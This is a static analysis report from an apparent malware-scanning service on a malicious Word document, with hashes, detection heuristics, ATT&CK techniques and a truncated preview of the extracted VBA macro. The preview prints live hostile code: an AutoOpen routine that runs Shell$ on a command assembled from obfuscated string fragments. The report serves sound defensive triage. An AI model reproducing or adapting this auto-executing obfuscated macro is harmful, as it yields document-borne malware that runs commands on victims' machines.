Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 66622962c6a58209…

MALICIOUS

Office (OLE)

160.0 KB Created: 2017-11-20 16:56:00 Authoring application: Microsoft Office Word First seen: 2017-12-08
MD5: efa2bed4993c399b0a9b8ad3eb6ff868 SHA-1: 2daf78a5accc454a79a72151411907a88aa9841d SHA-256: 66622962c6a58209470eb98a49eb58550d0556d3bb2a4fcf28046458b8ab0376
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file is a malicious Office document containing a VBA macro. The AutoOpen macro triggers a Shell() call, which is a critical finding. This indicates the macro is designed to execute arbitrary commands, likely to download and run a second-stage payload. The obfuscated nature of the script and the lack of specific indicators prevent confident family attribution.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 184782 bytes
SHA-256: 275a8a9331c3624dbe99c3c04bb2526408bb6945eaa74fc240fbc2f378fdb745
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 112 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "swEzuPsWZ"
Sub AutoOpen()
ojLuwRWdj = Array("shlSDnmc", "rtkzUZoO", "ijVZKiTT", "oTAwknlE", "lqjqOTVz")
MtriIVTJW = Array("fRiBDVJO", "RiknnsDI", "fOdszAKO", "YMRrpLSz", "qbEWDDhV")
XczplJZAo = Array("WdHqRZiG", "TcqDRYFL", "kwLnhEbh", "HUVDVdOn", "RDSiLJYC")
Shell$ EUiouBNnj, 0
aPjbqSFDr = Array("dANNNGRB", "ZiwDblqN", "DmOGXAbX", "JNRVAqoO", "SMrdBaDw")
Bjlabzwit = Array("NnjrzTdY", "pDApwAjt", "ilPtNLci", "RFrPBvKO", "nbmCIWVs")
OEMWDHEfB = Array("jtNikjBL", "zZrcNXtt", "lCUOjlLP", "WfIzFfKA", "LNUCwfCv")
End Sub
Function EUiouBNnj()
CiQDhjFYlAc = "IO4EqzJR7qwN0ajfCEbZzLCHTVHiblDshzZkQnGsDqQrnVMcCvSWTwRqjQwCBvZhLVqEnIXTziWJvKUzIifjThZkhjEzqDrIQifRiHpuYwYkaIuVvztWPsOiwGWEDXdurNsNfCTAplIVJoKZojENvZX4tWHSvwtc0"
HKKIRrRpRGi = Mid(CiQDhjFYlAc, 18, 130)
jwwMmCC = Array("KaIaTkHj", "QwTSblZZ", "RlZHQRiw", "bnJfLjpC", "fBJvZIal")
vmiDUG = Array("jOYNsRBr", "JDaElpWs", "rJzfabUj", "IQnZbdzJ", "KnYBsVGJ")
KTciDWiLm = "6qhH1XJnLhjkIvDdoj3zzkmzzBZdsjvvRrTrECdlhfBjwjPCtujtRLnsWUOabhRrTIhisWwPHWNSrLwHmWjwwBiFEbUkoCJANKNpBkJXzUmvzUBKVHoEzTuRicaRBMbEMNFjwIFBNMvsP3KE"
XmpsR = Mid(KTciDWiLm, 26, 113)
JAojtJlWJj = Array("AwuLYiAP", "cQIBQiiK", "CpDtqSXK", "QhNSCDBf", "UhbjhEHW")
hniUmTwZZJB = Array("PfVBMwGY", "LjFQKdjh", "ajurUiMY", "OcjiCzcz", "hhdLwVwR")
kSqSrjIGr = "3TiW92HUzIzuiSllJNmwkEtEmztlwihpNEauvFkBfDwAhEYlMjTazpujKCtOwVWSbHhdsqqDclThFtXhYIZOLGqXKtksMVCJjfZZXvsWsPzNWNaRfLqqwHHURJSwGzrHiJAZUzKcPDWvJcBzTSNAfLMZYEHNctPuYqiMMBwhANatlLKpEFnqzq"
jTiFlD = Mid(kSqSrjIGr, 7, 170)
TrfpP = Array("GqhIrinR", "fwtAiOzD", "SsMqCsqj", "IANhzVFY", "WKdbqNWc")
IYrDc = Array("TQzDbkWW", "dNNijjZN", "zBzqQGRJ", "rUdXlXME", "WkWlvnEY")
jQYjRazikQk = "z41oKQEw5D6FFsbQnivHXwinjsRPXcSWQwNzwjALkRBjWOmQbSwn10laLUwNkw26dB"
CpsCpEBnGO = Mid(jQYjRazikQk, 12, 40)
LmDhVjPq = Array("cqnWvXqr", "YKmHazQf", "GwmzKvZw", "wQsmSlJU", "lriQLNKc")
QIBicH = Array("SUYCBKlw", "LjTErCKj", "RqaiiEYm", "ASVjSAUt", "nKjpWWvl")
aNYdMDYMvNR = "ELNtJm4PcPzTt8VMjWnICXLSfdMTlYovbPrDoSIHKlQiQLDYNzuGlViZpYdkhWFRnbPnuWXONfzRHjBTanFnihKGhRNQoXaojwrpwPirZftFXRRIWKKtRRnFRIGdIGapFJlJpMJMJapuV7NVwodYrY"
rONnDFDTD = Mid(aNYdMDYMvNR, 16, 119)
wlQzDI = Array("qmCUBAFI", "NStkUMzd", "OQZsnuNL", "nEZzfMlI", "SGsCzKJL")
Mzlrzmjp = Array("UIUDcZZi", "qWWMNbHv", "YqhwaGcA", "jkSNUudD", "GNYiaKjO")
AQmiPj = "CVkVXLINNzoEjPzEtiNjXOLlXnIBiTEDANjITKmwkDEnRNYqdENvbYmWwEojCHiuukDVjrljrPvUKXUKORYiGJbcbJKOVDvdYJtjJCHlSdEMcRMakiUljAolIbuajWOoTSvAinALKmLcEPAJwjiqiKtXVHXiIjEwPPsJVMwwdIazoLjtakdzsXGJZYfWQSDdhPNpXqnvWQbwooK"
tchwnpJXqkj = Mid(AQmiPj, 5, 195)
MhroKL = Array("obPWQTau", "cKwHnrHS", "dMPYSwoV", "dPDKuBQN", "JODfzqfa")
kjHYRCDCufa = Array("sLWsiMaO", "LzFlDmps", "nttAQPzb", "tlwZocVm", "jpfHZvrQ")
mDQwkn = "hz1UhaHlFEqoSZcjFaKjMJkduKaCnuVajPLzsRjRcrjuluzwPZbjwQmsLnSJzEwLiPIDNcroqtDUZprAKinNSpbQcSoEwZRYtYMWmwimimpEMSTWwSzVRlssosavonpQcfbBdVOOvAijzWDKzSHJkDp7"
rPpkNAI = Mid(mDQwkn, 6, 142)
Bszorz = Array("cbAilRpB", "fCviwzCn", "PQScauQr", "rzBUTiMJ", "PkRnBuzL")
ulYCW = Array("dDjDmpvE", "aYMzlDoh", "KJnlQViw", "plOLjPmU", "SGwWLNEC")
wWcfWV = "qGVfWjUtGGIuaUAzkQCwunpOvjYMiizQwFFlbjdSQQHYnSQjnJmtZwuVIPisPVqZqivUOOVBmkjifRbdQsZYwFqBLjdMAkCuZihIWvRYolGoQQqqnEcXvSdknuIfkJACilEzjTHUaBkKzBlvtmYwIizHEzVcnlnfkEGfLs5RT7FQSjqjEArG9"
OGWGqHD = Mid(wWcfWV, 12, 155)
lcNzFvtGWrz = Array("OBOwmtMG", "LpBYzDbU", "ZiIijsIf", "OfnWfchh", "MlmZVaYs")
GAETVtCABXv = Array("faTOQzzB", "JNtsfvvV", "tjiGGpbj", "IUMOQCwz", "JPzGYtPQ")
QnItPzwkv = "D03w6ULzTmjavGIfThtVnzvwZcjqRsbEkZRGMtRoQvWfJqjZTVrsjGQvs2v8PK3LtnU3u2Jd"
SGodBcAGP = Mid(QnItPzwkv, 11, 39)
MbVidDbDNO = Array("SuZzWMHr", "iKInmTfz", "AFDoGmWA", "UfRatQMo", "kndqJlkB")
kksJXFI = Array("nqlkjINA", "mYUWGMMj", "YZfrujzN", "wTDzqpqO", "VBAPAlTL")
jCsLLk = "6cWEojljVjaEduqMvUM8AcPjHjaJOjOECuPwLhKKkCA"
ifYWU
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.